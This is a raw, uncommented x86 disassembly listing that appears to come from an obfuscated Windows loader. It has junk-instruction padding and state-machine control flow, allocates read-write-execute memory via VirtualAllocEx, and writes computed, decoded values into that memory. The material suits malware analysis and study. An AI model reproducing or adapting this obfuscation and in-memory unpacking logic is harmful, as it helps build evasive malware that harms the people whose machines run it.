mov ebp, ebp
mov dword [ecx + 8], eax
mov ebp, ebp
lea esi, [esi]
lea esi, [esi]
mov dword [ecx + 0x10], 0x40
nop
mov dword [ecx + 0xc], 0x1000
nop
nop
mov dword [ecx + 4], 0
lea edi, [edi]
lea esi, [esi]
mov dword [ecx], 0xffffffff
mov ebp, ebp
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea esi, [esi]
add edi, 0x3e
push esi
pop esi
sub edi, 0x3e
call eax
add edi, 0x22
add esi, 0x59
push eax
mov eax, dword [ebp - 8]
shr eax, 3
xor eax, esi
sub eax, 0x4e
pop eax
sub esi, 0x59
sub edi, 0x22
mov ebp, ebp
sub esp, 0x14
lea edi, [edi]
nop
mov ecx, 0xbf78b881
mov edx, 0x9b032713
lea esi, [esi]
lea esi, [esi]
nop
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
lea edi, [edi]
nop
cmove ecx, edx
lea edi, [edi]
mov esp, esp
mov dword [ebp - 0xd0], ecx
lea edi, [edi]
nop
jmp 0x40a85a
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x6c], 0
nop
lea esi, [esi]
mov esp, esp
mov dword [ebp - 0xd0], 0xb3891a79
mov ebp, ebp
jmp 0x40a85a
mov esp, esp
mov esp, esp
mov eax, dword [ebp - 0xa0]
mov esp, esp
lea edi, [edi]
mov ecx, dword [ebp - 0x84]
mov dword [ecx + 8], eax
lea esi, [esi]
mov ebp, ebp
mov eax, dword [ebp - 0x78]
nop
lea esi, [esi]
mov ecx, dword [ebp - 0xc8]
mov ebp, ebp
lea edi, [edi]
add edi, 0xd
sub edi, 0xd
sub eax, 0xdc353639
nop
mov esp, esp
add esi, 0x5b
add ecx, 0x23
add ebx, 0x15
add esi, 0x38
push ecx
add ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0x18]
or ecx, 0x27
xor ecx, eax
add ecx, edi
pop ecx
sub esi, 0x38
sub ebx, 0x15
sub ecx, 0x23
sub esi, 0x5b
add eax, ecx
lea esi, [esi]
lea edi, [edi]
add eax, 0xdc353639
mov ebp, ebp
mov dword [ebp - 0x9c], eax
mov esp, esp
mov esp, esp
mov dword [ebp - 0xa4], 0
mov ebp, ebp
mov dword [ebp - 0xa8], 0
lea edi, [edi]
mov dword [ebp - 0xac], 0
nop
nop
lea edi, [edi]
mov dword [ebp - 0xd0], 0xe687b4f4
lea edi, [edi]
jmp 0x40a85a
mov eax, 0x8fb0cda6
lea edi, [edi]
mov ecx, 0x5f62a791
mov esp, esp
lea edi, [edi]
mov edx, dword [ebp - 0xa8]
lea edi, [edi]
cmp edx, dword [ebp - 0x70]
nop
cmovb eax, ecx
nop
nop
mov dword [ebp - 0xd0], eax
mov ebp, ebp
jmp 0x40a85a
lea esi, [esi]
mov eax, dword [ebp - 0x78]
lea edi, [edi]
nop
lea edi, [edi]
mov ecx, dword [ebp - 0xa8]
lea esi, [esi]
add eax, 0xb23f80d5
nop
lea edi, [edi]
add eax, ecx
lea esi, [esi]
add eax, 0x19
push esi
mov esi, dword [ebp - 0xc]
sub esi, 0x26
mov esi, edi
and esi, dword [ebp - 8]
pop esi
sub eax, 0x19
mov ebp, ebp
sub eax, 0xb23f80d5
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0xbc], eax
nop
mov eax, dword [ebp - 0xbc]
mov ebp, ebp
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx + 0x23]
nop
mov esp, esp
mov edx, dword [ebp - 0x88]
mov ebp, ebp
mov dword [ebp - 0x14], eax
nop
mov esp, esp
mov dword [ebp - 0x18], ecx
nop
mov dword [ebp - 0x1c], edx
lea edi, [edi]
mov dword [ebp - 0x20], 0
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0x24], 0xa4939e3b
mov eax, dword [ebp - 0x24]
lea esi, [esi]
lea esi, [esi]
add edi, 0x28
push esi
or esi, ecx
or esi, dword [ebp - 0xc]
mov esi, ebx
pop esi
sub edi, 0x28
mov ecx, eax
push esi
or esi, dword [ebp - 0x18]
mov esi, eax
pop esi
mov esp, esp
sub ecx, 0x63221a7e
mov esp, esp
mov ebp, ebp
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e8], ecx
mov esp, esp
nop
lea edi, [edi]
jg 0x40978f
jmp 0x409605
nop
lea edi, [edi]
mov eax, dword [ebp - 0x1e4]
mov ebp, ebp
mov ebp, ebp
add edi, 0x47
sub edi, 0x47
sub eax, 0xa4939e3a
lea esi, [esi]
mov dword [ebp - 0x1ec], eax
lea edi, [edi]
nop
jg 0x40965e
jmp 0x409639
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0x1e4]
sub eax, 0x88e66b67
nop
mov dword [ebp - 0x1f0], eax
lea edi, [edi]
lea esi, [esi]
je 0x4098e3
jmp 0x4097c0
nop
mov eax, dword [ebp - 0x1e4]
lea edi, [edi]
push eax
pop eax
sub eax, 0x2b0b113
lea edi, [edi]
mov dword [ebp - 0x1f4], eax
mov esp, esp
jg 0x4096b4
jmp 0x409683
mov esp, esp
push ebx
pop ebx
mov eax, dword [ebp - 0x1e4]
push eax
sub eax, edx
sub eax, dword [ebp - 0x18]
pop eax
mov esp, esp
sub eax, 0xa4939e3b
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x1f8], eax
nop
lea edi, [edi]
nop
je 0x4097c7
jmp 0x4097c0
mov ebp, ebp
mov ebp, ebp
mov eax, dword [ebp - 0x1e4]
lea edi, [edi]
nop
nop
sub eax, 0x3df5c5ad
mov ebp, ebp
mov dword [ebp - 0x1fc], eax
mov esp, esp
mov esp, esp
lea esi, [esi]
jg 0x409710
jmp 0x4096e0
mov esp, esp
nop
add edx, 0xa
sub edx, 0xa
mov eax, dword [ebp - 0x1e4]
sub eax, 0x2b0b114
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x200], eax
nop
je 0x40988b
jmp 0x4097c0
mov esp, esp
nop
mov eax, dword [ebp - 0x1e4]
nop
mov ebp, ebp
nop
sub eax, 0x3df5c5ae
lea esi, [esi]
mov dword [ebp - 0x204], eax
je 0x4098cd
jmp 0x409735
nop
mov ebp, ebp
mov eax, dword [ebp - 0x1e4]
nop
lea esi, [esi]
sub eax, 0x40c1a14a
mov esp, esp
mov dword [ebp - 0x208], eax
mov esp, esp
je 0x40989b
jmp 0x40975b
lea edi, [edi]
push eax
add esi, 1
sub esi, 1
sub eax, edi
pop eax
mov eax, dword [ebp - 0x1e4]
sub eax, 0x44f0fc7b
lea esi, [esi]
mov ebp, ebp
mov dword [ebp - 0x20c], eax
lea edi, [edi]
je 0x409851
jmp 0x4097c0
lea edi, [edi]
mov eax, dword [ebp - 0x1e4]
push ebx
xor ebx, ecx
and ebx, edi
mov ebx, esi
add ebx, esi
pop ebx
mov ebp, ebp
mov esp, esp
sub eax, 0x63221a7f
mov esp, esp
nop
mov dword [ebp - 0x210], eax
mov ebp, ebp
je 0x409823
jmp 0x4097c0
mov ebp, ebp
jmp 0x4098de
mov ebp, ebp
mov ebp, ebp
mov eax, 0x3df5c5ae
mov ecx, 0x63221a7f
nop
mov edx, dword [ebp - 0x20]
lea esi, [esi]
add ebx, 0x5b
add esi, 0x1a
add eax, 0x16
push eax
sub eax, 0x45
mov eax, edi
mov eax, esi
pop eax
sub eax, 0x16
sub esi, 0x1a
sub ebx, 0x5b
cmp edx, dword [ebp - 0x18]
mov esp, esp
cmovb eax, ecx
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x24], eax
lea esi, [esi]
mov ebp, ebp
jmp 0x4098de
nop
mov eax, 0x2b0b114
lea edi, [edi]
mov ecx, 0x44f0fc7b
mov esp, esp
mov esp, esp
mov edx, dword [ebp - 0x20]
lea esi, [esi]
mov ebp, ebp
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
lea esi, [esi]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x4098de
nop
mov eax, dword [ebp - 0x20]
lea edi, [edi]
lea esi, [esi]
mov ecx, dword [ebp - 0x1c]
lea esi, [esi]
mov ebp, ebp
shl eax, 3
nop
push ebx
sub ebx, ecx
and ebx, edi
or ebx, ecx
add ebx, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
pop ebx
add ecx, eax
mov ebp, ebp
mov dword [ebp - 0x10], ecx
lea esi, [esi]
nop
mov dword [ebp - 0x24], 0x88e66b67
nop
lea esi, [esi]
jmp 0x4098de
mov esp, esp
mov dword [ebp - 0x24], 0x40c1a14a
lea edi, [edi]
jmp 0x4098de
lea edi, [edi]
lea edi, [edi]
mov eax, 0
lea edi, [edi]
mov ecx, dword [ebp - 0x20]
mov esp, esp
lea esi, [esi]
sub eax, 1
mov esp, esp
push ebx
pop ebx
sub ecx, eax
mov ebp, ebp
mov dword [ebp - 0x20], ecx
mov ebp, ebp
mov dword [ebp - 0x24], 0xa4939e3b
mov esp, esp
jmp 0x4098de
lea esi, [esi]
mov dword [ebp - 0x10], 0
nop
mov dword [ebp - 0x24], 0x88e66b67
jmp 0x4095b8
lea edi, [edi]
mov ebp, ebp
mov eax, 0x45fc5103
nop
mov ecx, 0xe63f3e66
lea edi, [edi]
mov edx, dword [ebp - 0x10]
mov ebp, ebp
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0x8c], edx
lea edi, [edi]
cmp edx, 0
mov ebp, ebp
cmovne eax, ecx
mov esp, esp
mov ebp, ebp
mov dword [ebp - 0xd0], eax
lea edi, [edi]
jmp 0x40a85a
nop
lea esi, [esi]
mov eax, 0
mov esp, esp
mov ecx, 0xffffffff
mov ebp, ebp
mov ebp, ebp
mov edx, dword [ebp - 0x8c]
lea edi, [edi]
lea edi, [edi]
mov edx, dword [edx + 4]
mov esi, dword [ebp - 0x80]
lea edi, [edi]
mov esp, esp
mov ebp, ebp
mov esi, dword [esi + 0x1f]
nop
lea edi, [edi]
mov edi, edx
lea edi, [edi]
lea esi, [esi]
xor edi, 0xffffffff
lea edi, [edi]
mov esp, esp
push ebx
pop ebx
and edi, 0x7acbdb39
lea edi, [edi]
xor ecx, 0x7acbdb39
lea esi, [esi]
mov ebp, ebp
push eax
add eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x10]
pop eax
and edx, ecx
lea esi, [esi]
nop
mov ebx, esi
lea edi, [edi]
xor ebx, 0xffffffff
nop
mov esp, esp
and ebx, 0x7acbdb39
and esi, ecx
mov esp, esp
add edx, 6
push edx
mov edx, esi
and edx, ecx
add edx, dword [ebp - 0x18]
and edx, dword [ebp - 0x14]
and edx, dword [ebp - 0x14]
pop edx
sub edx, 6
mov esp, esp
or edi, edx
lea edi, [edi]
or ebx, esi
mov esp, esp
mov ebp, ebp
push esi
and esi, dword [ebp - 0x18]
or esi, ebx
sub esi, edx
mov esi, edx
add esi, eax
pop esi
xor edi, ebx
lea edi, [edi]
mov ebp, ebp
lea edi, [edi]
add eax, 0
sub eax, 0
mov ecx, dword [ebp - 0xc8]
add ebx, 0x32
sub ebx, 0x32
sub edi, 0xa52a8480
nop
mov ebp, ebp
add edi, ecx
mov ebp, ebp
add edi, 0x1e
add ecx, 0x26
push ecx
pop ecx
sub ecx, 0x26
sub edi, 0x1e
add edi, 0xa52a8480
lea esi, [esi]
mov dword [ebp - 0xc0], edi
lea esi, [esi]
mov esp, esp
mov ecx, dword [ebp - 0xc0]
nop
lea edi, [edi]
mov edx, dword [ebp - 0xa0]
lea esi, [esi]
mov ebp, ebp
mov esi, dword [ebp - 0xa8]
mov ebp, ebp
mov edi, eax
lea edi, [edi]
mov ebp, ebp
sub edi, edx
nop
mov ebp, ebp
mov edx, eax
lea edi, [edi]
add ecx, 0x1e
add ecx, 9
sub ecx, 9
sub ecx, 0x1e
mov ebp, ebp
push ecx
and ecx, eax
mov ecx, edi
pop ecx
sub edx, esi
lea edi, [edi]
lea edi, [edi]
add edi, edx
mov ebp, ebp
mov edx, eax
lea edi, [edi]
add edx, 0x37
sub edx, 0x37
sub edx, edi
mov esp, esp
mov ebp, ebp
mov esi, eax
nop
nop
mov ebp, ebp
add ebx, 0x5a
sub ebx, 0x5a
sub esi, edx
lea esi, [esi]
mov edx, eax
lea esi, [esi]
nop
push edi
pop edi
sub edx, 4
nop
nop
add esi, edx
mov esp, esp
lea edi, [edi]
mov edx, eax
lea edi, [edi]
sub edx, esi
mov esp, esp
lea esi, [esi]
sub eax, edx
lea edi, [edi]
add ecx, eax
lea esi, [esi]
mov esp, esp
mov esp, esp
mov eax, dword [ebp - 0xa0]
nop
lea esi, [esi]
mov edx, dword [ebp - 0xa8]
mov ebp, ebp
mov dword [eax + edx], ecx
mov esp, esp
lea esi, [esi]
nop
mov eax, dword [ebp - 0xa8]
lea esi, [esi]
add eax, 0xd22c75aa
mov esp, esp
lea esi, [esi]
push edx
pop edx
add eax, 4
mov ebp, ebp
mov esp, esp
sub eax, 0xd22c75aa
mov esp, esp
nop
mov dword [ebp - 0xa8], eax
mov ebp, ebp
mov ebp, ebp
mov eax, dword [ebp - 0xb4]
lea edi, [edi]
nop
add eax, 0x10
add ecx, 0x12
add edi, 0x45
push ebx
pop ebx
sub edi, 0x45
sub ecx, 0x12
sub eax, 0x10
mov esp, esp
add eax, 0x4ea1595b
lea esi, [esi]
push ecx
sub ecx, dword [ebp - 0x18]
push edx
sub edx, 3
add edx, esi
pop edx
or ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 8]
pop ecx
add eax, 1
lea edi, [edi]
add edx, 0x3b
add edx, 0xc
add ebx, 0x3b
add edx, 0x53
nop
sub edx, 0x53
sub ebx, 0x3b
sub edx, 0xc
sub edx, 0x3b
sub eax, 0x4ea1595b
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0xb4], eax
nop
mov dword [ebp - 0xd0], 0xe687b4f4
mov ebp, ebp
jmp 0x40a85a
lea esi, [esi]
mov eax, dword [ebp - 0xbc]
lea esi, [esi]
lea esi, [esi]
mov esp, esp
mov ecx, dword [ebp - 0x80]
lea esi, [esi]
mov ecx, dword [ecx + 0x27]
mov esp, esp
nop
mov edx, dword [ebp - 0x90]
lea esi, [esi]
mov dword [ebp - 0x2c], eax
nop
mov dword [ebp - 0x30], ecx
lea edi, [edi]
mov dword [ebp - 0x34], edx
lea esi, [esi]
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x38], 0
lea esi, [esi]
mov dword [ebp - 0x3c], 0xa4939e3b
mov eax, dword [ebp - 0x3c]
lea edi, [edi]
mov ecx, eax
lea esi, [esi]
lea edi, [edi]
lea esi, [esi]
sub ecx, 0x63221a7e
mov ebp, ebp
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0x214], eax
lea esi, [esi]
mov ebp, ebp
mov dword [ebp - 0x218], ecx
lea esi, [esi]
nop
jg 0x409dc1
jmp 0x409c3d
lea edi, [edi]
nop
mov eax, dword [ebp - 0x214]
lea edi, [edi]
sub eax, 0xa4939e3a
mov esp, esp
mov dword [ebp - 0x21c], eax
mov ebp, ebp
lea edi, [edi]
lea esi, [esi]
jg 0x409ca4
jmp 0x409c66
lea esi, [esi]
mov eax, dword [ebp - 0x214]
mov ebp, ebp
lea esi, [esi]
add esi, 0x29
push edi
mov edi, dword [ebp - 0x10]
sub edi, dword [ebp - 0x10]
xor edi, ecx
pop edi
sub esi, 0x29
sub eax, 0x88e66b67
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0x220], eax
lea esi, [esi]
je 0x409f1c
jmp 0x409de3
mov ebp, ebp
mov esp, esp
mov eax, dword [ebp - 0x214]
sub eax, 0x2b0b113
lea edi, [edi]
mov dword [ebp - 0x224], eax
lea edi, [edi]
jg 0x409cfc
jmp 0x409cc8
nop
mov ebp, ebp
add edx, 0x39
sub edx, 0x39
mov esp, esp
mov eax, dword [ebp - 0x214]
mov ebp, ebp
sub eax, 0xa4939e3b
mov ebp, ebp
lea esi, [esi]
mov dword [ebp - 0x228], eax
nop
je 0x409dee
jmp 0x409de3
lea esi, [esi]
mov eax, dword [ebp - 0x214]
lea edi, [edi]
sub eax, 0x3df5c5ad
mov esp, esp
mov esp, esp
mov dword [ebp - 0x22c], eax
lea edi, [edi]
jg 0x409d45
jmp 0x409d22
mov eax, dword [ebp - 0x214]
nop
sub eax, 0x2b0b114
lea esi, [esi]
mov ebp, ebp
mov dword [ebp - 0x230], eax
nop
nop
je 0x409e95
jmp 0x409de3
mov esp, esp
lea esi, [esi]
mov eax, dword [ebp - 0x214]
lea esi, [esi]
lea esi, [esi]
sub eax, 0x3df5c5ae
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x234], eax
mov esp, esp
lea esi, [esi]
je 0x409efe
jmp 0x409d71
lea edi, [edi]
mov eax, dword [ebp - 0x214]
mov ebp, ebp
sub eax, 0x40c1a14a
nop
mov ebp, ebp
mov dword [ebp - 0x238], eax
mov ebp, ebp
lea edi, [edi]
je 0x409ea3
jmp 0x409d98
lea esi, [esi]
mov esp, esp
lea edi, [edi]
mov eax, dword [ebp - 0x214]
sub eax, 0x44f0fc7b
lea edi, [edi]
lea esi, [esi]
mov dword [ebp - 0x23c], eax
nop
lea esi, [esi]
je 0x409e70
jmp 0x409de3
mov ebp, ebp
mov eax, dword [ebp - 0x214]
lea esi, [esi]
sub eax, 0x63221a7f
lea edi, [edi]
mov dword [ebp - 0x240], eax
je 0x409e2d
jmp 0x409de3
mov ebp, ebp
mov esp, esp
lea edi, [edi]
jmp 0x409f11
mov ebp, ebp
lea edi, [edi]
mov esp, esp
mov eax, 0x3df5c5ae
lea edi, [edi]
nop
lea esi, [esi]
mov ecx, 0x63221a7f
lea esi, [esi]
mov edx, dword [ebp - 0x38]
add ebx, 0x2c
sub ebx, 0x2c
mov ebp, ebp
mov esp, esp
cmp edx, dword [ebp - 0x30]
lea edi, [edi]
lea edi, [edi]
cmovb eax, ecx
nop
lea esi, [esi]
mov dword [ebp - 0x3c], eax
jmp 0x409f11
nop
mov ebp, ebp
lea esi, [esi]
mov eax, 0x2b0b114
mov esp, esp
mov esp, esp
mov ecx, 0x44f0fc7b
mov esp, esp
mov esp, esp
mov edx, dword [ebp - 0x38]
lea esi, [esi]
mov esi, dword [ebp - 0x34]
lea edi, [edi]
lea esi, [esi]
mov edx, dword [esi + edx*8]
lea edi, [edi]
lea esi, [esi]
cmp edx, dword [ebp - 0x2c]
lea esi, [esi]
nop
cmove eax, ecx
nop
mov ebp, ebp
mov dword [ebp - 0x3c], eax
nop
lea edi, [edi]
lea esi, [esi]
jmp 0x409f11
lea esi, [esi]
nop
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
nop
mov esp, esp
mov dword [ebp - 0x28], ecx
mov esp, esp
mov dword [ebp - 0x3c], 0x88e66b67
mov esp, esp
nop
jmp 0x409f11
mov dword [ebp - 0x3c], 0x40c1a14a
mov ebp, ebp
jmp 0x409f11
lea esi, [esi]
mov esp, esp
nop
mov eax, 0x40fc90
mov eax, dword [eax]
mov ebp, ebp
mov ecx, dword [ebp - 0x38]
mov ebp, ebp
mov edx, eax
lea edi, [edi]
lea edi, [edi]
sub edx, ecx
lea esi, [esi]
nop
lea edi, [edi]
mov ecx, eax
lea edi, [edi]
sub ecx, 1
nop
add esi, 0x23
add ecx, 0xd
nop
sub ecx, 0xd
sub esi, 0x23
add edx, ecx
sub eax, edx
lea edi, [edi]
mov dword [ebp - 0x38], eax
mov esp, esp
mov dword [ebp - 0x3c], 0xa4939e3b
jmp 0x409f11
nop
mov esp, esp
mov dword [ebp - 0x28], 0
mov ebp, ebp
mov dword [ebp - 0x3c], 0x88e66b67
mov ebp, ebp
mov ebp, ebp
lea edi, [edi]
jmp 0x409c06
nop
mov esp, esp
lea edi, [edi]
mov eax, 0x2e455de8
mov ecx, 0xa5fb53e6
nop
nop
mov edx, dword [ebp - 0x28]
nop
mov esp, esp
mov dword [ebp - 0x8c], edx
lea esi, [esi]
lea edi, [edi]
cmp edx, 0
lea edi, [edi]
nop
cmovne eax, ecx
nop
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0xd0], eax
lea edi, [edi]
lea edi, [edi]
lea edi, [edi]
jmp 0x40a85a
lea edi, [edi]
mov eax, 0
mov ebp, ebp
mov ebp, ebp
mov ecx, dword [ebp - 0xbc]
lea edi, [edi]
mov edx, dword [ebp - 0xc8]
nop
add ecx, 0xa0ab89a2
lea edi, [edi]
mov ebp, ebp
lea edi, [edi]
add ecx, edx
nop
sub ecx, 0xa0ab89a2
nop
mov ebp, ebp
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xcc]
mov ebp, ebp
nop
mov esp, esp
add ecx, 0x6e6e0a38
mov esp, esp
nop
sub ecx, edx
lea esi, [esi]
sub ecx, 0x6e6e0a38
mov esp, esp
nop
mov edx, dword [ebp - 0x80]
mov esp, esp
mov edx, dword [edx + 0x1f]
lea esi, [esi]
mov ebp, ebp
mov esi, ecx
nop
add edi, 0x33
push eax
sub eax, ecx
add eax, dword [ebp - 0x14]
xor eax, edx
add eax, ebx
shr eax, 0x4f
pop eax
sub edi, 0x33
mov esp, esp
xor esi, 0xffffffff
nop
mov edi, edx
nop
and edi, esi
lea esi, [esi]
xor edx, 0xffffffff
mov esp, esp
nop
mov esp, esp
add edi, 0x40
sub edi, 0x40
and ecx, edx
lea edi, [edi]
mov ebp, ebp
nop
push esi
pop esi
or edi, ecx
lea esi, [esi]
mov ebp, ebp
mov ecx, dword [ebp - 0xcc]
lea esi, [esi]
mov edx, eax
lea edi, [edi]
mov ebp, ebp
nop
sub edx, edi
nop
mov esi, eax
nop
lea edi, [edi]
add edi, 0x1d
push ebx
xor ebx, eax
or ebx, ecx
mov ebx, eax
mov ebx, dword [ebp - 0x18]
sub ebx, dword [ebp - 0x18]
pop ebx
sub edi, 0x1d
sub esi, ecx
nop
push esi
pop esi
add edx, esi
nop
nop
lea esi, [esi]
sub eax, edx
nop
mov dword [ebp - 0xc4], eax
nop
mov eax, dword [ebp - 0xc4]
lea esi, [esi]
mov ecx, dword [ebp - 0xa0]
lea edi, [edi]
nop
mov edx, dword [ebp - 0xa8]
nop
mov dword [ecx + edx], eax
mov ebp, ebp
lea esi, [esi]
add ecx, 0x43
sub ecx, 0x43
mov eax, dword [ebp - 0xa8]
add eax, 0xcbfc1fea
lea edi, [edi]
lea edi, [edi]
add eax, 4
mov ebp, ebp
push edx
mov edx, dword [ebp - 0x14]
or edx, dword [ebp - 0x14]
or edx, ebx
pop edx
sub eax, 0xcbfc1fea
lea esi, [esi]
lea esi, [esi]
mov dword [ebp - 0xa8], eax
lea esi, [esi]
add ebx, 1
add ebx, 0xa
sub ebx, 0xa
sub ebx, 1
mov ebp, ebp
mov eax, dword [ebp - 0xb8]
push esi
and esi, dword [ebp - 0x18]
add edx, 0x41
add eax, 0x41
add edx, 0x57
add eax, 2
sub eax, 2
sub edx, 0x57
sub eax, 0x41
sub edx, 0x41
mov esi, dword [ebp - 8]
sub esi, edi
add esi, ebx
pop esi
sub eax, 0xc2df77fc
lea esi, [esi]
add eax, 1
add eax, 0xc2df77fc
lea edi, [edi]
mov dword [ebp - 0xb8], eax
mov esp, esp
nop
lea esi, [esi]
mov dword [ebp - 0xd0], 0xe687b4f4
lea esi, [esi]
mov ebp, ebp
jmp 0x40a85a
nop
mov dword [ebp - 0xd0], 0x27c3af4c
lea esi, [esi]
mov ebp, ebp
mov ebp, ebp
jmp 0x40a85a
lea esi, [esi]
mov eax, dword [ebp - 0xa8]
nop
mov ebp, ebp
nop
mov ecx, dword [ebp - 0x80]
mov ecx, dword [ecx + 0x2b]
mov ebp, ebp
mov edx, dword [ebp - 0x98]
mov esp, esp
lea edi, [edi]
mov dword [ebp - 0x44], eax
lea edi, [edi]
mov dword [ebp - 0x48], ecx
lea edi, [edi]
mov ebp, ebp
mov dword [ebp - 0x4c], edx
lea edi, [edi]
mov ebp, ebp
mov dword [ebp - 0x50], 0
mov ebp, ebp
mov dword [ebp - 0x54], 0xdcbfac71
mov ebp, ebp
mov eax, dword [ebp - 0x54]
nop
mov esp, esp
lea edi, [edi]
mov ecx, eax
push esi
mov esi, ecx
mov esi, eax
pop esi
sub ecx, 0x6babbe6a
mov esp, esp
mov dword [ebp - 0x244], eax
nop
nop
mov dword [ebp - 0x248], ecx
jg 0x40a36e
jmp 0x40a1cc
lea esi, [esi]
mov eax, dword [ebp - 0x244]
mov esp, esp
add edi, 0x17
push ecx
or ecx, edx
and ecx, dword [ebp - 8]
shr ecx, 0x20
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0xc]
pop ecx
sub edi, 0x17
sub eax, 0xd61bc684
mov dword [ebp - 0x24c], eax
lea esi, [esi]
lea edi, [edi]
mov ebp, ebp
jg 0x40a23b
jmp 0x40a20e
mov esp, esp
lea esi, [esi]
mov eax, dword [ebp - 0x244]
lea edi, [edi]
sub eax, 0xb4c3913a
mov esp, esp
mov ebp, ebp
nop
mov dword [ebp - 0x250], eax
mov esp, esp
lea edi, [edi]
mov esp, esp
je 0x40a421
jmp 0x40a3ae
nop
mov eax, dword [ebp - 0x244]
nop
mov ebp, ebp
sub eax, 0x40a3d7b0
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x254], eax
jg 0x40a344
jmp 0x40a25f
lea esi, [esi]
mov esp, esp
mov eax, dword [ebp - 0x244]
lea esi, [esi]
add ecx, 0x47
add edi, 7
push eax
xor eax, ecx
mov eax, dword [ebp - 0x14]
or eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
pop eax
sub edi, 7
sub ecx, 0x47
sub eax, 0x2153d56f
nop
lea edi, [edi]
mov dword [ebp - 0x258], eax
lea esi, [esi]
jg 0x40a322
jmp 0x40a2ab
nop
mov eax, dword [ebp - 0x244]
lea esi, [esi]
nop
sub eax, 0xd61bc685
lea esi, [esi]
mov dword [ebp - 0x25c], eax
lea esi, [esi]
je 0x40a492
jmp 0x40a2cf
mov esp, esp
mov ebp, ebp
mov eax, dword [ebp - 0x244]
lea edi, [edi]
lea edi, [edi]
sub eax, 0xdcbfac71
mov dword [ebp - 0x260], eax
lea esi, [esi]
je 0x40a3b8
jmp 0x40a2f5
mov esp, esp
nop
add edx, 0x59
sub edx, 0x59
mov eax, dword [ebp - 0x244]
sub eax, 0xe0e58e88
lea edi, [edi]
mov dword [ebp - 0x264], eax
je 0x40a44f
jmp 0x40a3ae
lea esi, [esi]
nop
mov eax, dword [ebp - 0x244]
nop
sub eax, 0x2153d570
lea esi, [esi]
mov dword [ebp - 0x268], eax
je 0x40a4ae
jmp 0x40a3ae
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0x244]
sub eax, 0x40a3d7b1
mov esp, esp
mov ebp, ebp
mov ebp, ebp
mov dword [ebp - 0x26c], eax
mov esp, esp
mov ebp, ebp
je 0x40a3e5
jmp 0x40a3ae
mov ebp, ebp
mov ebp, ebp
mov ebp, ebp
mov eax, dword [ebp - 0x244]
nop
add eax, 0x1b
push ebx
sub ebx, esi
mov ebx, ecx
pop ebx
sub eax, 0x1b
sub eax, 0x6babbe6b
mov ebp, ebp
mov esp, esp
mov esp, esp
mov dword [ebp - 0x270], eax
nop
mov ebp, ebp
mov esp, esp
je 0x40a45e
jmp 0x40a3ae
lea esi, [esi]
lea edi, [edi]
nop
jmp 0x40a4a7
mov eax, 0xd61bc685
lea edi, [edi]
lea edi, [edi]
mov ecx, 0x40a3d7b1
nop
nop
mov edx, dword [ebp - 0x50]
nop
mov ebp, ebp
lea edi, [edi]
cmp edx, dword [ebp - 0x48]
mov esp, esp
cmovb eax, ecx
lea edi, [edi]
mov dword [ebp - 0x54], eax
nop
lea esi, [esi]
jmp 0x40a4a7
mov ebp, ebp
mov eax, 0xe0e58e88
lea esi, [esi]
lea edi, [edi]
lea esi, [esi]
mov ecx, 0xb4c3913a
mov edx, dword [ebp - 0x50]
lea edi, [edi]
lea edi, [edi]
mov esi, dword [ebp - 0x4c]
nop
nop
mov edx, dword [esi + edx*8]
lea esi, [esi]
mov esp, esp
mov esp, esp
cmp edx, dword [ebp - 0x44]
lea edi, [edi]
cmove eax, ecx
lea esi, [esi]
mov dword [ebp - 0x54], eax
mov ebp, ebp
nop
jmp 0x40a4a7
mov esp, esp
mov eax, dword [ebp - 0x50]
mov esp, esp
nop
mov ecx, dword [ebp - 0x4c]
nop
lea edi, [edi]
nop
shl eax, 3
add ecx, eax
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x40], ecx
lea edi, [edi]
lea esi, [esi]
mov dword [ebp - 0x54], 0x2153d570
nop
mov esp, esp
jmp 0x40a4a7
mov dword [ebp - 0x54], 0x6babbe6b
nop
mov esp, esp
jmp 0x40a4a7
mov eax, dword [ebp - 0x50]
mov esp, esp
lea edi, [edi]
add eax, 0x4569d11
nop
push ebx
pop ebx
add eax, 1
mov esp, esp
sub eax, 0x4569d11
lea esi, [esi]
lea esi, [esi]
mov ebp, ebp
mov dword [ebp - 0x50], eax
mov ebp, ebp
mov dword [ebp - 0x54], 0xdcbfac71
mov esp, esp
jmp 0x40a4a7
lea edi, [edi]
lea esi, [esi]
mov dword [ebp - 0x40], 0
mov esp, esp
nop
mov dword [ebp - 0x54], 0x2153d570
mov esp, esp
jmp 0x40a199
mov ebp, ebp
mov eax, 0xfab7ca54
mov esp, esp
mov ecx, 0x746e7e6c
mov esp, esp
mov edx, dword [ebp - 0x40]
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0x94], edx
nop
nop
mov esp, esp
cmp edx, 0
mov ebp, ebp
cmovne eax, ecx
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0xd0], eax
mov ebp, ebp
lea esi, [esi]
jmp 0x40a85a
